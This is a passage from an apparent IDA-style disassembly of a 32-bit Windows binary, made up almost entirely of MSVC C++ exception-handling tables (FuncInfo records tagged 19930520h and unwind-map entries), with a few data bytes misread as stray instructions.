dup(0) dd offset off_4448A0 dd 0 dd 0FFFFFFFFh, 0 dd 0Ch, 437AF0h, 2 dup(0) dd offset off_4448C0 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437F1Ah, 2 dup(0) dd offset off_4448E8 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 437F20h, 0 dword_440070 dd 3, 440050h, 440030h, 440010h, 2 dup(0)dword_440088 dd 0 ; ___:0040AA77o dd offset dword_437D54+1D2h dd 0 dd offset dword_440070 align 10h dword_4400A0 dd 19930520h, 1, 4400C0h, 5 dup(0) dd 0FFFFFFFFh, 439D30h, 2 dup(0) dword_4400D0 dd 19930520h, 1, 4400F0h, 5 dup(0) dd 0FFFFFFFFh, 439D50h, 2 dup(0) dword_440100 dd 19930520h, 3, 440120h, 5 dup(0) dd 0FFFFFFFFh, 439D70h, 0 dd offset loc_439D87 dd 1, 439D8Fh, 2 dup(0) dword_440140 dd 19930520h, 1, 440160h, 5 dup(0) dd 0FFFFFFFFh, 439DB0h, 2 dup(0) dword_440170 dd 19930520h, 2, 440190h, 1, 4401A0h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 4401B8h, 4 dup(0) dd offset sub_40AF32 align 10h dword_4401D0 dd 19930520h, 2, 4401F0h, 1, 440200h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 440218h, 4 dup(0) dd offset sub_40B0B1 align 10h dword_440230 dd 19930520h, 4, 440250h, 5 dup(0) dd 0FFFFFFFFh, 439DF0h, 0 dd offset loc_439DFB dd 1, 439E06h, 2, 439E11h, 2 dup(0) dword_440278 dd 19930520h, 4, 440298h, 5 dup(0) dd 0FFFFFFFFh, 439E40h, 0 dd offset loc_439E4B dd 1, 439E56h, 2, 439E61h, 2 dup(0) dword_4402C0 dd 19930520h, 3, 4402E0h, 5 dup(0) dd 0FFFFFFFFh, 439E90h, 0FFFFFFFFh, 439E98h, 0FFFFFFFFh dd 439EA0h, 2 dup(0) dword_440300 dd 19930520h, 3, 440320h, 5 dup(0) dd 0FFFFFFFFh, 439EC0h, 0 dd offset loc_439EC8 dd 1, 439ED0h, 2 dup(0) dword_440340 dd 19930520h, 1, 440360h, 5 dup(0) dd 0FFFFFFFFh, 439EF0h, 2 dup(0) dword_440370 dd 19930520h, 4, 440390h, 5 dup(0) dd 0FFFFFFFFh, 439F10h, 0FFFFFFFFh, 439F18h, 0FFFFFFFFh dd 439F20h, 2, 439F28h, 2 dup(0) dword_4403B8 dd 19930520h, 1, 4403D8h, 5 dup(0) dd 0FFFFFFFFh, 439F50h, 2 dup(0) dword_4403E8 dd 19930520h, 4, 440408h, 5 dup(0) dd 0FFFFFFFFh, 439F70h, 0 dd offset loc_439F7B dd 0 dd offset loc_439F86 dd 2, 439F91h, 2 dup(0) dword_440430 dd 19930520h, 1, 440450h, 5 dup(0) dd 0FFFFFFFFh, 439FC0h, 2 dup(0) dword_440460 dd 19930520h, 5, 440480h, 5 dup(0) dd 0FFFFFFFFh, 439FE0h, 0 dd offset loc_439FEB dd 0 dd offset loc_439FF6 dd 0 dd offset loc_43A001 dd 0 dd offset loc_43A00C align 10h dword_4404B0 dd 19930520h, 2, 4404D0h, 5 dup(0) dd 0FFFFFFFFh, 43A040h, 0 dd offset loc_43A04B dd 2 dup(0) dword_4404E8 dd 19930520h, 2, 440508h, 5 dup(0) dd 0FFFFFFFFh, 43A070h, 0 dd offset loc_43A07B align 10h dword_440520 dd 19930520h, 4, 440540h, 5 dup(0) dd 0FFFFFFFFh, 43A0A0h, 0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh dd 43A0B0h, 0FFFFFFFFh, 43A0B8h, 2 dup(0) dword_440568 dd 19930520h, 8, 440588h, 5 dup(0) dd 0FFFFFFFFh, 43A0E0h, 0 dd offset loc_43A0EB dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h dd 1, 43A12Dh, 4 dup(0) dword_4405D8 dd 19930520h, 0Dh, 4405F8h, 5 dup(0) dd 0FFFFFFFFh, 43A160h, 0FFFFFFFFh, 43A16Bh, 1, 43A176h dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh dd 7, 43A1B8h, 8, 43A1C3h, 9, 43A1CEh, 0Ah, 43A1D9h, 0Bh dd 43A1E4h, 4 dup(0) dword_440670 dd 19930520h, 6, 440690h, 5 dup(0) dd 0FFFFFFFFh, 43A220h, 0 dd offset loc_43A228 dd 1, 43A230h, 2, 43A238h, 2, 43A240h, 2, 43A248h, 2 dup(0) dword_4406C8 dd 19930520h, 6, 4406E8h, 5 dup(0) dd 0FFFFFFFFh, 43A270h, 0 dd offset loc_43A278 dd 1, 43A280h, 2, 43A288h, 2, 43A290h, 2, 43A298h, 2 dup(0) dword_440720 dd 19930520h, 3, 440740h, 5 dup(0) dd 0FFFFFFFFh, 43A2C0h, 0 dd offset loc_43A2C8 dd 1, 43A2D0h, 2 dup(0) dword_440760 dd 19930520h, 1, 440780h, 5 dup(0) dd 0FFFFFFFFh, 43A2F0h, 2 dup(0) dword_440790 dd 19930520h, 7, 4407B0h, 5 dup(0) dd 0FFFFFFFFh, 43A310h, 0 dd offset loc_43A318 dd 0FFFFFFFFh, 43A320h, 0FFFFFFFFh, 43A328h, 3, 43A330h dd 4, 43A338h, 0FFFFFFFFh, 43A340h, 2 dup(0) dword_4407F0 dd 19930520h, 24h, 440810h, 5 dup(0) dd 0FFFFFFFFh, 43A370h, 0 dd offset loc_43A378 dd 1, 43A383h, 2, 43A38Eh, 3, 43A399h, 4, 43A3A7h, 5, 43A3B5h dd 6, 43A3C3h, 7, 43A3D1h, 8, 43A3DFh, 9, 43A3EDh, 0Ah dd 43A3FBh, 0Bh, 43A409h, 0Ch, 43A417h, 0Dh, 43A425h, 0Eh dd 43A433h, 0Fh, 43A441h, 10h, 43A44Fh, 11h, 43A45Dh, 11h dd 43A465h, 11h, 43A46Dh, 11h, 43A475h, 11h, 43A47Dh, 11h dd 43A485h, 11h, 43A48Dh, 11h, 43A495h, 11h, 43A49Dh, 11h dd 43A4A5h, 11h, 43A4ADh, 11h, 43A4B5h, 11h, 43A4BDh, 11h dd 43A4C5h, 11h, 43A4CDh, 11h, 43A4D5h, 11h, 43A4DDh, 11h dd 43A4E5h, 8 dup(0) dword_440950 dd 19930520h, 11h, 440970h, 5 dup(0) dd 0FFFFFFFFh, 43A560h, 0 dd offset loc_43A568 dd 1, 43A573h, 2, 43A57Eh, 3, 43A589h, 4, 43A597h, 5, 43A5A5h dd 6, 43A5B3h, 7, 43A5C1h, 8, 43A5CFh, 9, 43A5DDh, 0Ah dd 43A5EBh, 0Bh, 43A5F9h, 0Ch, 43A607h, 0Dh, 43A615h, 0Eh dd 43A623h, 0Fh, 43A631h, 4 dup(0) dword_440A08 dd 19930520h, 38h, 440A28h, 5 dup(0) dd 0FFFFFFFFh, 43A690h, 0 dd offset loc_43A69B dd 1, 43A6A6h, 0 dd offset loc_43A6B1 dd 0 dd offset loc_43A6BC dd 0 dd offset loc_43A6C7 dd 0 dd offset loc_43A6D2 dd 0 dd offset loc_43A6DD dd 0 dd offset loc_43A6E8 dd 0 dd offset loc_43A6F3 dd 9, 43A6FEh, 0 dd offset loc_43A709 dd 0 dd offset loc_43A714 dd 0 dd offset loc_43A71F dd 0 dd offset loc_43A72A dd 0Eh, 43A735h, 0Eh, 43A743h, 0Eh, 43A751h, 0Eh, 43A75Ch dd 0Eh, 43A76Ah, 0Eh, 43A778h, 0Eh, 43A783h, 0Eh, 43A78Eh dd 0 dd offset loc_43A799 dd 0 dd offset loc_43A7A4 dd 0 dd offset loc_43A7B2 dd 0 dd offset loc_43A7C0 dd 1Ah, 43A7CBh, 1Bh, 43A7D6h, 0 dd offset loc_43A7E1 dd 1Dh, 43A7ECh, 0 dd offset loc_43A7F7 dd 1Fh, 43A802h, 0 dd offset loc_43A80D dd 0 dd offset loc_43A818 dd 0 dd offset loc_43A823 dd 0 dd offset loc_43A82E dd 0 dd offset loc_43A839 dd 25h, 43A844h, 26h, 43A84Fh, 0 dd offset loc_43A84F dd 28h, 43A844h, 0 dd offset loc_43A85A dd 0 dd offset loc_43A865 dd 2Bh, 43A870h, 2Ch, 43A87Bh, 0 dd offset loc_43A87B dd 2Eh, 43A870h, 2Eh, 43A886h, 0 dd offset loc_43A891 dd 31h, 43A89Ch, 0 dd offset loc_43A8A7 dd 0 dd offset loc_43A8B2 dd 34h, 43A8BDh, 35h, 43A8C8h, 34h, 43A8C8h, 0Ch dup(0) dword_440C18 dd 19930520h, 1, 440C38h, 5 dup(0) dd 0FFFFFFFFh, 43A970h, 2 dup(0) dword_440C48 dd 19930520h, 1, 440C68h, 5 dup(0) dd 0FFFFFFFFh, 43A990h, 2 dup(0) dword_440C78 dd 19930520h, 6, 440C98h, 5 dup(0) dd 0FFFFFFFFh, 43A9B0h, 0 dd offset loc_43A9B8 dd 1, 43A9C3h, 2, 43A9CEh, 3, 43A9D9h, 4, 43A9E4h, 2 dup(0) dword_440CD0 dd 19930520h, 6, 440CF0h, 5 dup(0) dd 0FFFFFFFFh, 43AA10h, 0 dd offset loc_43AA18 dd 1, 43AA23h, 2, 43AA2Eh, 3, 43AA39h, 4, 43AA44h, 2 dup(0) dword_440D28 dd 19930520h, 0Ah, 440D48h, 5 dup(0) dd 0FFFFFFFFh, 43AA70h, 0FFFFFFFFh, 43AA78h, 0FFFFFFFFh dd 43AA80h, 0FFFFFFFFh, 43AA88h, 0FFFFFFFFh, 43AA90h, 0FFFFFFFFh dd 43AA98h, 0FFFFFFFFh, 43AAA0h, 0FFFFFFFFh, 43AAA8h, 0FFFFFFFFh dd 43AAB0h, 0FFFFFFFFh, 43AAB8h, 4 dup(0) dword_440DA8 dd 19930520h, 0Eh, 440DC8h, 5 dup(0) dd 0FFFFFFFFh, 43AAE0h, 0 dd offset loc_43AAE8 dd 0FFFFFFFFh, 43AAF3h, 0FFFFFFFFh, 43AAFBh, 0FFFFFFFFh dd 43AB03h, 0FFFFFFFFh, 43AB0Bh, 5, 43AB16h, 0FFFFFFFFh dd 43AB1Eh, 0FFFFFFFFh, 43AB26h, 0FFFFFFFFh, 43AB2Eh, 9 dd 43AB39h, 0FFFFFFFFh, 43AB41h, 0Bh, 43AB49h, 0Ch, 43AB51h dd 4 dup(0) dword_440E48 dd 19930520h, 2, 440E68h, 5 dup(0) dd 0FFFFFFFFh, 43AB98h, 0 dd offset loc_43AB90 align 10h dword_440E80 dd 19930520h, 2, 440EA0h, 5 dup(0) dd 0FFFFFFFFh, 43ABD0h, 0 dd offset loc_43ABD8 dd 2 dup(0) dword_440EB8 dd 19930520h, 1, 440ED8h, 5 dup(0) dd 0FFFFFFFFh, 43ABF0h, 2 dup(0) dword_440EE8 dd 19930520h, 7, 440F08h, 5 dup(0) dd 0FFFFFFFFh, 43AC10h, 0 dd offset loc_43AC18 dd 1, 43AC23h, 2, 43AC2Eh, 2, 43AC36h, 4, 43AC3Eh, 5, 43AC46h dd 2 dup(0) dword_440F48 dd 19930520h, 4, 440F68h, 5 dup(0) dd 0FFFFFFFFh, 43AC70h, 0 dd offset loc_43AC7B dd 1, 43AC86h, 2, 43AC91h, 2 dup(0) dword_440F90 dd 19930520h, 4, 440FB0h, 5 dup(0) dd 0FFFFFFFFh, 43ACC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 43h, 0 dd 1, 43ACD6h, 2, 43ACE1h, 2 dup(0) dword_440FD8 dd 19930520h, 2, 440FF8h, 5 dup(0) dd 0FFFFFFFFh, 43AD10h, 0FFFFFFFFh, 43AD18h, 2 dup(0) dword_441010 dd 19930520h, 1, 441030h, 5 dup(0) dd 0FFFFFFFFh, 43AD30h, 2 dup(0) dword_441040 dd 19930520h, 1, 441060h, 5 dup(0) dd 0FFFFFFFFh, 43AD50h, 2 dup(0) dword_441070 dd 19930520h, 2, 441090h, 5 dup(0) dd 0FFFFFFFFh, 43AD70h, 0 dd offset loc_43AD78 dd 2 dup(0) dword_4410A8 dd 19930520h, 3, 4410C8h, 5 dup(0) dd 0FFFFFFFFh, 43AD90h, 0 dd offset loc_43AD98 dd 1, 43ADA3h, 2 dup(0) dword_4410E8 dd 19930520h, 3, 441108h, 5 dup(0) dd 0FFFFFFFFh, 43ADD0h, 0 dd offset loc_43ADD8 dd 1, 43ADE0h, 2 dup(0) dword_441128 dd 19930520h, 1, 441148h, 5 dup(0) dd 0FFFFFFFFh, 43AE00h, 2 dup(0) dword_441158 dd 19930520h, 4, 441178h, 5 dup(0) dd 0FFFFFFFFh, 43AE20h, 0 dd offset loc_43AE28 dd 0 dd offset loc_43AE30 dd 0 dd offset loc_43AE3B align 10h dword_4411A0 dd 19930520h, 6, 4411C0h, 5 dup(0) dd 0FFFFFFFFh, 43AE60h, 0 dd offset loc_43AE68 dd 1, 43AE70h, 2, 43AE78h, 3, 43AE80h, 4, 43AE88h, 2 dup(0) dword_4411F8 dd 19930520h, 3, 441218h, 5 dup(0) dd 0FFFFFFFFh, 43AEB0h, 0 dd offset loc_43AEBB dd 1, 43AEC6h, 2 dup(0) dword_441238 dd 19930520h, 4, 441258h, 5 dup(0) dd 0FFFFFFFFh, 43AEF0h, 0 dd offset loc_43AEF8 dd 1, 43AF00h, 2, 43AF08h, 2 dup(0) dword_441280 dd 19930520h, 5, 4412A0h, 5 dup(0) dd 0FFFFFFFFh, 43AF30h, 0 dd offset loc_43AF38 dd 1, 43AF40h, 2, 43AF48h, 3, 43AF50h, 2 dup(0) dword_4412D0 dd 19930520h, 4, 4412F0h, 5 dup(0) dd 0FFFFFFFFh, 43AF80h, 0 dd offset loc_43AF88 dd 1, 43AF93h, 2, 43AF9Eh, 2 dup(0) dword_441318 dd 19930520h, 3, 441338h, 5 dup(0) dd 0FFFFFFFFh, 43AFC0h, 0 dd offset loc_43AFC8 dd 1, 43AFD0h, 2 dup(0) dword_441358 dd 19930520h, 1, 441378h, 5 dup(0) dd 0FFFFFFFFh, 43AFF0h, 2 dup(0) dword_441388 dd 19930520h, 2, 4413A8h, 5 dup(0) dd 0FFFFFFFFh, 43B010h, 0 dd offset loc_43B018 align 10h dword_4413C0 dd 19930520h, 2, 4413E0h, 5 dup(0) dd 0FFFFFFFFh, 43B030h, 0 dd offset loc_43B038 dd 2 dup(0) dword_4413F8 dd 19930520h, 3, 441418h, 5 dup(0) dd 0FFFFFFFFh, 43B050h, 0 dd offset loc_43B05B dd 1, 43B066h, 2 dup(0) dword_441438 dd 19930520h, 1, 441458h, 5 dup(0) dd 0FFFFFFFFh, 43B090h, 2 dup(0) dword_441468 dd 19930520h, 1, 441488h, 5 dup(0) dd 0FFFFFFFFh, 43B0B0h, 2 dup(0) dword_441498 dd 19930520h, 4, 4414B8h, 5 dup(0) dd 0FFFFFFFFh, 43B0D0h, 0 dd offset loc_43B0D8 dd 1, 43B0E3h, 2, 43B0EEh, 2 dup(0) dword_4414E0 dd 19930520h, 7, 441500h, 5 dup(0) dd 0FFFFFFFFh, 43B110h, 0FFFFFFFFh, 43B118h, 0FFFFFFFFh dd 43B120h, 2, 43B128h, 3, 43B130h, 4, 43B138h, 0FFFFFFFFh dd 43B140h, 2 dup(0) dword_441540 dd 19930520h, 1Bh, 441560h, 5 dup(0) dd 0FFFFFFFFh, 43B170h, 0 dd offset loc_43B178 dd 1, 43B183h, 2, 43B191h, 3, 43B19Fh, 4, 43B1ADh, 5, 43B1BBh dd 6, 43B1C9h, 7, 43B1D7h, 8, 43B1E5h, 9, 43B1F3h, 0Ah dd 43B201h, 0Bh, 43B20Fh, 0Ch, 43B21Dh, 0Dh, 43B22Bh, 0Eh dd 43B239h, 0Fh, 43B247h, 10h, 43B255h, 11h, 43B263h, 12h dd 43B271h, 13h, 43B27Fh, 14h, 43B28Dh, 15h, 43B29Bh, 16h dd 43B2A9h, 17h, 43B2B7h, 18h, 43B2C5h, 19h, 43B2D3h, 6 dup(0) dword_441650 dd 19930520h, 1Bh, 441670h, 5 dup(0) dd 0FFFFFFFFh, 43B350h, 0 dd offset loc_43B358 dd 1, 43B363h, 2, 43B371h, 3, 43B37Fh, 4, 43B38Dh, 5, 43B39Bh dd 6, 43B3A9h, 7, 43B3B7h, 8, 43B3C5h, 9, 43B3D3h, 0Ah dd 43B3E1h, 0Bh, 43B3EFh, 0Ch, 43B3FDh, 0Dh, 43B40Bh, 0Eh dd 43B419h, 0Fh, 43B427h, 10h, 43B435h, 11h, 43B443h, 12h dd 43B451h, 13h, 43B45Fh, 14h, 43B46Dh, 15h, 43B47Bh, 16h dd 43B489h, 17h, 43B497h, 18h, 43B4A5h, 19h, 43B4B3h, 6 dup(0) dword_441760 dd 19930520h, 1, 441780h, 5 dup(0) dd 0FFFFFFFFh, 43B530h, 2 dup(0) dword_441790 dd 19930520h, 3Dh, 4417B0h, 5 dup(0) dd 0FFFFFFFFh, 43B550h, 0 dd offset loc_43B55B dd 1, 43B566h, 2, 43B574h, 3, 43B582h, 4, 43B590h, 5, 43B59Eh dd 6, 43B5ACh, 7, 43B5BAh, 8, 43B5C8h, 9, 43B5D6h, 0Ah dd 43B5E4h, 0Bh, 43B5F2h, 0Ch, 43B600h, 0Dh, 43B60Eh, 0Eh dd 43B61Ch, 0Fh, 43B62Ah, 10h, 43B638h, 11h, 43B646h, 12h dd 43B654h, 13h, 43B662h, 14h, 43B670h, 15h, 43B67Eh, 16h dd 43B68Ch, 17h, 43B69Ah, 18h, 43B6A8h, 19h, 43B6B6h, 1Ah dd 43B6C4h, 1Bh, 43B6D2h, 1Ch, 43B6E0h, 1Dh, 43B6EEh, 1Eh dd 43B6FCh, 1Fh, 43B70Ah, 20h, 43B718h, 21h, 43B726h, 22h dd 43B734h, 23h, 43B742h, 24h, 43B750h, 25h, 43B75Eh, 26h dd 43B76Ch, 27h, 43B77Ah, 28h, 43B788h, 29h, 43B796h, 2Ah dd 43B7A4h, 2Bh, 43B7B2h, 2Ch, 43B7C0h, 2Dh, 43B7CEh, 2Eh dd 43B7DCh, 2Fh, 43B7EAh, 30h, 43B7F8h, 31h, 43B806h, 32h dd 43B814h, 33h, 43B822h, 34h, 43B830h, 35h, 43B83Eh, 36h dd 43B84Ch, 37h, 43B85Ah, 38h, 43B868h, 39h, 43B876h, 3Ah dd 43B884h, 3Bh, 43B892h, 0Eh dup(0) dword_4419D0 dd 19930520h, 4, 4419F0h, 5 dup(0) dd 0FFFFFFFFh, 43B980h, 0 dd offset loc_43B98B dd 1, 43B996h, 2, 43B9A1h, 2 dup(0) dword_441A18 dd 19930520h, 6, 441A38h, 5 dup(0) dd 0FFFFFFFFh, 43B9D0h, 0 dd offset loc_43B9DB dd 1, 43B9E6h, 2, 43B9F1h, 3, 43B9FFh, 4, 43BA0Dh, 2 dup(0) dword_441A70 dd 19930520h, 4, 441A90h, 5 dup(0) dd 0FFFFFFFFh, 43BA40h, 0 dd offset loc_43BA4E dd 1, 43BA5Ch, 2, 43BA6Ah, 2 dup(0) dword_441AB8 dd 19930520h, 5, 441AD8h, 5 dup(0) dd 0FFFFFFFFh, 43BAA0h, 0 dd offset loc_43BAAB dd 1, 43BAB6h, 2, 43BAC1h, 3, 43BACFh, 2 dup(0) dword_441B08 dd 19930520h, 5, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 0 dd offset loc_43BB0B dd 1, 43BB16h, 2, 43BB21h, 3, 43BB2Fh, 2 dup(0) dword_441B58 dd 19930520h, 1, 441B78h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0) dword_441B88 dd 19930520h, 1, 441BA8h, 5 dup(0) dd 0FFFFFFFFh, 43BB80h, 2 dup(0) dword_441BB8 dd 19930520h, 1, 441BD8h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 2 dup(0) dword_441BE8 dd 19930520h, 2, 441C08h, 5 dup(0) dd 0FFFFFFFFh, 43BBC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BBh, 43h, 0 align 10h dword_441C20 dd 19930520h, 4, 441C40h, 5 dup(0) dd 0FFFFFFFFh, 43BBF0h, 0 dd offset loc_43BBFB dd 1, 43BC06h, 2, 43BC11h, 2 dup(0) dword_441C68 dd 19930520h, 4, 441C88h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 0 dd offset loc_43BC4B dd 1, 43BC56h, 2, 43BC61h, 2 dup(0) dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43BC90h, 0 dd offset loc_43BC9B dd 1, 43BCA6h, 2, 43BCB1h, 3, 43BCBFh, 4, 43BCCDh, 2 dup(0) dword_441D08 dd 19930520h, 4, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43BD00h, 0 dd offset loc_43BD0E dd 1, 43BD1Ch, 2, 43BD2Ah, 2 dup(0) dword_441D50 dd 19930520h, 5, 441D70h, 5 dup(0) dd 0FFFFFFFFh, 43BD60h, 0 dd offset loc_43BD6B dd 1, 43BD76h, 2, 43BD81h, 3, 43BD8Fh, 2 dup(0) dword_441DA0 dd 19930520h, 5, 441DC0h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0BDh, 43h, 0 dd 1, 43BDD6h, 2, 43BDE1h, 3, 43BDEFh, 2 dup(0) dword_441DF0 dd 19930520h, 1, 441E10h, 5 dup(0) dd 0FFFFFFFFh, 43BE20h, 2 dup(0) dword_441E20 dd 19930520h, 1, 441E40h, 5 dup(0) dd 0FFFFFFFFh, 43BE40h, 2 dup(0) dword_441E50 dd 19930520h, 1, 441E70h, 5 dup(0) dd 0FFFFFFFFh, 43BE60h, 2 dup(0) dword_441E80 dd 19930520h, 2, 441EA0h, 5 dup(0) dd 0FFFFFFFFh, 43BE80h, 0 dd offset loc_43BE8B dd 2 dup(0) dword_441EB8 dd 19930520h, 4, 441ED8h, 5 dup(0) dd 0FFFFFFFFh, 43BEB0h, 0 dd offset loc_43BEBB dd 1, 43BEC6h, 2, 43BED1h, 2 dup(0) dword_441F00 dd 19930520h, 1, 441F20h, 5 dup(0) dd 0FFFFFFFFh, 43BF00h, 2 dup(0) dword_441F30 dd 19930520h, 2, 441F50h, 5 dup(0) dd 0FFFFFFFFh, 43BF20h, 0 dd offset loc_43BF2B dd 2 dup(0) dword_441F68 dd 19930520h, 1, 441F88h, 5 dup(0) dd 0FFFFFFFFh, 43BF50h, 2 dup(0) dword_441F98 dd 19930520h, 1, 441FB8h, 5 dup(0) dd 0FFFFFFFFh, 43BF70h, 2 dup(0) dword_441FC8 dd 19930520h, 2, 441FE8h, 5 dup(0) dd 0FFFFFFFFh, 43BF90h, 0 dd offset loc_43BF9B align 10h dword_442000 dd 19930520h, 1, 442020h, 5 dup(0) dd 0FFFFFFFFh, 43BFC0h, 2 dup(0) dword_442030 dd 19930520h, 3, 442050h, 5 dup(0) dd 0FFFFFFFFh, 43BFE0h, 0 dd offset loc_43BFF7 dd 1, 43BFFFh, 2 dup(0) dword_442070 dd 19930520h, 1, 442090h, 5 dup(0) dd 0FFFFFFFFh, 43C020h, 2 dup(0) dword_4420A0 dd 19930520h, 4, 4420C0h, 5 dup(0) dd 0FFFFFFFFh, 43C048h, 0 dd offset sub_43C040 dd 0 dd offset loc_43C05F dd 2, 43C067h, 2 dup(0) dword_4420E8 dd 19930520h, 6, 442108h, 5 dup(0) dd 0FFFFFFFFh, 43C090h, 0FFFFFFFFh, 43C098h, 0FFFFFFFFh dd 43C0A0h, 0FFFFFFFFh, 43C0A8h, 0FFFFFFFFh, 43C0B0h, 0FFFFFFFFh dd 43C0B8h, 2 dup(0) dword_442140 dd 19930520h, 1Ah, 442160h, 5 dup(0) dd 0FFFFFFFFh, 43C0E0h, 0 dd offset loc_43C0EB dd 1, 43C0F6h, 2, 43C101h, 3, 43C10Ch, 4, 43C117h, 5, 43C11Fh dd 5, 43C12Ah, 5, 43C135h, 5, 43C143h, 5, 43C14Eh, 5, 43C159h dd 5, 43C167h, 5, 43C172h, 5, 43C17Dh, 5, 43C188h, 5, 43C196h dd 5, 43C1A1h, 5, 43C1ACh, 5, 43C1BAh, 5, 43C1C5h, 5, 43C1D0h dd 5, 43C1DEh, 5, 43C1E9h, 5, 43C1F4h, 5, 43C1FFh, 6 dup(0) dword_442248 dd 19930520h, 4, 442268h, 5 dup(0) dd 0FFFFFFFFh, 43C270h, 0 dd offset loc_43C278 dd 1, 43C283h, 2, 43C28Eh, 2 dup(0) dword_442290 dd 19930520h, 4, 4422B0h, 5 dup(0) dd 0FFFFFFFFh, 43C2B0h, 0 dd offset loc_43C2B8 dd 1, 43C2C3h, 2, 43C2CEh, 2 dup(0) dword_4422D8 dd 19930520h, 6, 4422F8h, 5 dup(0) dd 0FFFFFFFFh, 43C2F0h, 0 ; --------------------------------------------------------------------------- clc retn 43h ; --------------------------------------------------------------------------- dd 1, 43C303h, 2, 43C30Eh, 3, 43C319h, 4, 43C324h, 2 dup(0) dword_442330 dd 19930520h, 6, 442350h, 5 dup(0) dd 0FFFFFFFFh, 43C350h, 0 ; --------------------------------------------------------------------------- pop eax retn ; --------------------------------------------------------------------------- dw 43h dd 1, 43C363h, 2, 43C36Eh, 3, 43C379h, 4, 43C384h, 2 dup(0) dword_442388 dd 19930520h, 6, 4423A8h, 5 dup(0) dd 0FFFFFFFFh, 43C3B0h, 0FFFFFFFFh, 43C3BBh, 0FFFFFFFFh dd 43C3C6h, 2, 43C3D1h, 3, 43C3DCh, 2, 43C3E7h, 2 dup(0) dword_4423E0 dd 19930520h, 3, 442400h, 5 dup(0) dd 0FFFFFFFFh, 43C410h, 0FFFFFFFFh, 43C418h, 0FFFFFFFFh dd 43C420h, 2 dup(0) dword_442420 dd 19930520h, 5, 442440h, 5 dup(0) dd 0FFFFFFFFh, 43C440h, 0FFFFFFFFh, 43C448h, 0FFFFFFFFh dd 43C450h, 0FFFFFFFFh, 43C458h, 0FFFFFFFFh, 43C460h, 2 dup(0) dword_442470 dd 19930520h, 0Ch, 442490h, 5 dup(0) dd 0FFFFFFFFh, 43C480h, 0 dd offset loc_43C488 dd 0FFFFFFFFh, 43C490h, 0FFFFFFFFh, 43C498h, 0FFFFFFFFh dd 43C4A0h, 0FFFFFFFFh, 43C4A8h, 5, 43C4B0h, 0FFFFFFFFh dd 43C4B8h, 0FFFFFFFFh, 43C4C0h, 0FFFFFFFFh, 43C4C8h, 0FFFFFFFFh dd 43C4D0h, 0FFFFFFFFh, 43C4D8h, 4 dup(0) dd 19930520h, 2, 442520h, 1, 442530h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 442548h, 4 dup(0) dd offset loc_41EF2C align 10h dword_442560 dd 19930520h, 0Ah, 442580h, 5 dup(0) dd 0FFFFFFFFh, 43C520h, 0 dd offset loc_43C52B dd 1, 43C536h, 2, 43C541h, 3, 43C54Ch, 3, 43C557h, 3, 43C562h dd 3, 43C56Dh, 3, 43C578h, 3, 43C583h, 4 dup(0) dword_4425E0 dd 19930520h, 2, 442600h, 5 dup(0) dd 0FFFFFFFFh, 43C5C0h, 0 dd offset loc_43C5C8 dd 2 dup(0) dword_442618 dd 19930520h, 3, 442638h, 5 dup(0) dd 0FFFFFFFFh, 43C5E0h, 0FFFFFFFFh, 43C5EBh, 1, 43C5F6h dd 2 dup(0) dword_442658 dd 19930520h, 1, 442678h, 5 dup(0) dd 0FFFFFFFFh, 43C620h, 2 dup(0) dword_442688 dd 19930520h, 2, 4426A8h, 5 dup(0) dd 0FFFFFFFFh, 43C640h, 0 dd offset loc_43C64B align 10h dword_4426C0 dd 19930520h, 16h, 4426E0h, 5 dup(0) dd 0FFFFFFFFh, 43C670h, 0 dd offset loc_43C67B dd 0 dd offset loc_43C683 dd 0 dd offset loc_43C68B dd 3, 43C693h, 4, 43C69Bh, 0 dd offset loc_43C6A3 dd 6, 43C6ABh, 7, 43C6B3h, 0 dd offset loc_43C6BB dd 9, 43C6C3h, 0Ah, 43C6CBh, 0 dd offset loc_43C6D3 dd 0Ch, 43C6DBh, 0Dh, 43C6E3h, 0 dd offset loc_43C6EB dd 0Fh, 43C6F3h, 0 dd offset loc_43C6FB dd 11h, 43C703h, 0 dd offset loc_43C70B dd 13h, 43C713h, 13h, 43C71Bh, 6 dup(0) dword_4427A8 dd 19930520h, 1, 4427C8h, 5 dup(0) dd 0FFFFFFFFh, 43C760h, 2 dup(0) dword_4427D8 dd 19930520h, 1, 4427F8h, 5 dup(0) dd 0FFFFFFFFh, 43C790h, 2 dup(0) dword_442808 dd 19930520h, 5, 442828h, 5 dup(0) dd 0FFFFFFFFh, 43C7C0h, 0FFFFFFFFh, 43C7C8h, 0FFFFFFFFh dd 43C7D0h, 0FFFFFFFFh, 43C7D8h, 0FFFFFFFFh, 43C7E0h, 2 dup(0) dword_442858 dd 19930520h, 0Bh, 442878h, 5 dup(0) dd 0FFFFFFFFh, 43C800h, 0FFFFFFFFh, 43C80Bh, 0FFFFFFFFh dd 43C821h, 0FFFFFFFFh, 43C82Ch, 0FFFFFFFFh, 43C837h, 0FFFFFFFFh dd 43C842h, 0FFFFFFFFh, 43C84Dh, 0FFFFFFFFh, 43C858h, 0FFFFFFFFh dd 43C863h, 0FFFFFFFFh, 43C86Eh, 0FFFFFFFFh, 43C816h, 4 dup(0) dword_4428E0 dd 19930520h, 1, 442900h, 5 dup(0) dd 0FFFFFFFFh, 43C8B0h, 2 dup(0) dword_442910 dd 19930520h, 5, 442930h, 5 